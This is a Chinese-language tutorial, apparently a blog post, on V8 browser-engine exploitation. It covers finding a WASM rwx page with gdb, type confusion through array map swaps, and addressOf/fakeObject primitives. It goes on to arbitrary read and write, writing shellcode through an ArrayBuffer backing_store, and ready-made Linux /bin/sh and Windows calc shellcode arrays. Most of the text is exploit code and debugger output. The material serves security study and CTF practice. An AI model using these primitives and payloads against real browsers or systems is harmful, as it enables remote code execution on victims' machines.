概述

在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段

WASM

现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。测试代码如下:

1
2
3
4
5
6
7
8
9
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。

在第二个断点的时候,我们再运行一次vmmap来查看内存段:

1
2
pwndbg> vmmap
0x1b4249fd1000 0x1b4249fd2000 rwxp 1000 0 [anon_1b4249fd1]

因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到这个地址呢?首先我们来看看变量f的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
DebugPrint: 0x19a4081d370d: [Function] in OldSpace
- map: 0x19a408204919 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x19a4081c3b4d <JSFunction (sfi = 0x19a408144165)>
- elements: 0x19a40800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x19a4081d36e9 <SharedFunctionInfo js-to-wasm::i>
- name: 0x19a4080051cd <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x19a4081c3649 <NativeContext[252]>
- code: 0x19a40018d801 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x19a4081d35b9 <Instance map = 0x19a408207399>
- Wasm function index: 0
- properties: 0x19a40800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x19a4080048f1: [String] in ReadOnlySpace: #length: 0x19a408142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x19a408004a21: [String] in ReadOnlySpace: #name: 0x19a4081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x19a408004029: [String] in ReadOnlySpace: #arguments: 0x19a40814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x19a408004245: [String] in ReadOnlySpace: #caller: 0x19a4081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI
0x19a408204919: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- back pointer: 0x19a4080023b5 <undefined>
- prototype_validity cell: 0x19a408142405 <Cell value= 1>
- instance descriptors (own) #4: 0x19a4081d0445 <DescriptorArray[4]>
- prototype: 0x19a4081c3b4d <JSFunction (sfi = 0x19a408144165)>
- constructor: 0x19a408002235 <null>
- dependent code: 0x19a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以发现这是一个函数对象,我们来查看一下fshared_info结构的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x19a4081d36e9
0x19a4081d36e9: [SharedFunctionInfo] in OldSpace
- map: 0x19a4080025f9 <Map[36]>
- name: 0x19a4080051cd <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 179
- formal_parameter_count: 0
- expected_nof_properties:
- language_mode: sloppy
- data: 0x19a4081d36bd <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from data): 0x19a40018d801 <Code BUILTIN GenericJSToWasmWrapper>
- script: 0x19a4081d3541 <Script>
- function token position: 88
- start position: 88
- end position: 92
- no debug info
- scope info: 0x19a408002739 <ScopeInfo>
- length: 0
- feedback_metadata: <none>

接下里再查看其data结构:

1
2
3
4
5
6
7
8
9
10
pwndbg> job 0x19a4081d36bd
0x19a4081d36bd: [WasmExportedFunctionData] in OldSpace
- map: 0x19a408002e7d <Map[44]>
- target: 0x1b4249fd1000
- ref: 0x19a4081d35b9 <Instance map = 0x19a408207399>
- wrapper_code: 0x19a40018d801 <Code BUILTIN GenericJSToWasmWrapper>
- instance: 0x19a4081d35b9 <Instance map = 0x19a408207399>
- function_index: 0
- signature: 0x19a408049e81 <Foreign>
- wrapper_budget: 1000

再查看instance结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> job 0x19a4081d35b9
0x19a4081d35b9: [WasmInstanceObject] in OldSpace
- map: 0x19a408207399 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x19a408048069 <Object map = 0x19a408207af1>
- elements: 0x19a40800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x19a408049c95 <Module map = 0x19a408207231>
- exports_object: 0x19a408049e49 <Object map = 0x19a408207bb9>
- native_context: 0x19a4081c3649 <NativeContext[252]>
- memory_object: 0x19a4081d35a1 <Memory map = 0x19a408207641>
- table 0: 0x19a408049e19 <Table map = 0x19a4082074b1>
- imported_function_refs: 0x19a40800222d <FixedArray[0]>
- indirect_function_table_refs: 0x19a40800222d <FixedArray[0]>
- managed_native_allocations: 0x19a408049dd1 <Foreign>
- memory_start: 0x7f70c0000000
- memory_size: 65536
- imported_function_targets: 0x55b2e0e37d40
- globals_start: (nil)
- imported_mutable_globals: 0x55b2e0e37dc0
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x19a40800222d <FixedArray[0]>
- All own properties (excluding elements): {}

仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。

我们再来查看这个结构的内存布局:

image-20240724144804011

仔细看,能发现,rwx段的起始地址储存在instance+0x60的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。

数据存储结构

首先来看看JavaScript的两种类型的变量的结构:

1
2
3
4
5
6
7
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

对照变量a的job结果和内存内容如图,我们可以推断出a的数据存储结构

image-20240724150943906

1
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

可以注意到只存储了低32位的地址,这是因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的。

同理分析elements的结构,可以得到大致

image-20240724151241342

1
| 32 bit map addr | 32 bit length | value ......

接下来看看变量b和c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DebugPrint: 0x1f8608049991: [JS_OBJECT_TYPE]
- map: 0x1f8608207aa1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1f86081c41f5 <Object map = 0x1f86082021b9>
- elements: 0x1f860800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1f860800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x1f8608007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x1f8608207aa1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1f8608207a79 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x1f8608142405 <Cell value= 1>
- instance descriptors (own) #1: 0x1f86080499a1 <DescriptorArray[1]>
- prototype: 0x1f86081c41f5 <Object map = 0x1f86082021b9>
- constructor: 0x1f86081c3e2d <JSFunction Object (sfi = 0x1f860814474d)>
- dependent code: 0x1f86080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

DebugPrint: 0x1f86080499c9: [JSArray]
- map: 0x1f8608203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1f86081cc0e9 <JSArray[0]>
- elements: 0x1f86080499bd <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1f860800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x1f86080048f1: [String] in ReadOnlySpace: #length: 0x1f860814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x1f86080499bd <FixedArray[1]> {
0: 0x1f8608049991 <Object map = 0x1f8608207aa1>
}
0x1f8608203b31: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1f8608203b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x1f8608142405 <Cell value= 1>
- instance descriptors #1: 0x1f86081cc59d <DescriptorArray[1]>
- transitions #1: 0x1f86081cc619 <TransitionArray[4]>Transition array #1:
0x1f860800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x1f8608203b59 <Map(HOLEY_ELEMENTS)>

- prototype: 0x1f86081cc0e9 <JSArray[0]>
- constructor: 0x1f86081cbe85 <JSFunction Array (sfi = 0x1f860814adc9)>
- dependent code: 0x1f86080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

注意到 map 结构体中存在一项成员用以标注 elements 类型:

1
- elements kind: PACKED_ELEMENTS

因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”。类型混淆是有可能造成地址泄露的,可以考虑这样的代码:

1
2
3
4
5
float_arr= [2.1];
obj_arr=[float_arr];
%DebugPrint(a);
%DebugPrint(b);
%SystemBreak();

正常访问obj_arr[0]会得到一个对象,但如果修改obj_arrmapfloat_arrmap,就会认为obj_arr是一个浮点数数组,那么此时访问obj_arr[0]就会得到对象float_arr的地址了

数据读取

addressOf

同上所述,我们将这种类型混淆的读取地址方法称之为addressOf,一般写法如下:

1
2
3
4
5
6
7
8
9
10
11
12
//获取某个变量的地址
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值
function addressOf(target_var)
{
obj_array[0]=target_var;
obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map
let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型
return target_var_addr;//此处返回的是 target_var 的对象结构体地址
}

fakeObject

addressOf 的步骤相反,将 float_arrmap 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象

1
2
3
4
5
6
7
8
9
10
11
12
//将某个地址转换为对象
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值
function fakeObject(target_addr)
{
double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值
double_array.setMap(obj_array_map);
let fake_obj=double_array[0];
return fake_obj;
}

任意地址读

可以尝试构造出这样一个结构:

1
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];

其在内存中的布局应为:

1
2
| 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element
| 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray

接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray

此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)

代码逻辑大致如下:

1
2
3
4
5
6
7
8
9
10
11
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function read64_addr(addr)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
return fake_object[0];

}

任意地址写

同上一小节一样,只需要将最后的 return 修改为写入即可:

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function write64_addr(addr,data)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
fake_object[0]=data;
}

shellcode写入

设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常。因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。

见如下代码

1
2
3
4
5
6
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
DebugPrint: 0x16eb080499b9: [JSArrayBuffer]
- map: 0x16eb08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x16eb081ca361 <Object map = 0x16eb08203299>
- elements: 0x16eb0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x559afc82d780
- byte_length: 16
- max_byte_length: 16
- detachable
- properties: 0x16eb0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
0x16eb08203271: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 64
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x16eb080023b5 <undefined>
- prototype_validity cell: 0x16eb08142405 <Cell value= 1>
- instance descriptors (own) #0: 0x16eb080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x16eb081ca361 <Object map = 0x16eb08203299>
- constructor: 0x16eb081ca28d <JSFunction ArrayBuffer (sfi = 0x16eb08149bed)>
- dependent code: 0x16eb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

DebugPrint: 0x16eb080499f9: [JSDataView]
- map: 0x16eb08202ca9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x16eb081c8665 <Object map = 0x16eb08202cd1>
- elements: 0x16eb0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x16eb080499b9 <ArrayBuffer map = 0x16eb08203271>
- byte_offset: 0
- byte_length: 16
- properties: 0x16eb0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
0x16eb08202ca9: [Map]
- type: JS_DATA_VIEW_TYPE
- instance size: 56
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x16eb080023b5 <undefined>
- prototype_validity cell: 0x16eb08142405 <Cell value= 1>
- instance descriptors (own) #0: 0x16eb080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x16eb081c8665 <Object map = 0x16eb08202cd1>
- constructor: 0x16eb081c8461 <JSFunction DataView (sfi = 0x16eb081482c9)>
- dependent code: 0x16eb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以注意到JSDataViewbuffer指向了JSArrayBuffer,而JSArrayBufferbacking_store则指向了实际的数据储存地址,那么如果我们能够写backing_storeshellcode内存段,就可以通过JSDataViewsetFloat64方法直接写入了

其他

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

//Windows 计算器
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];

其他函数

1
2
3
4
5
6
7
8
9
10
11
12
  
function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}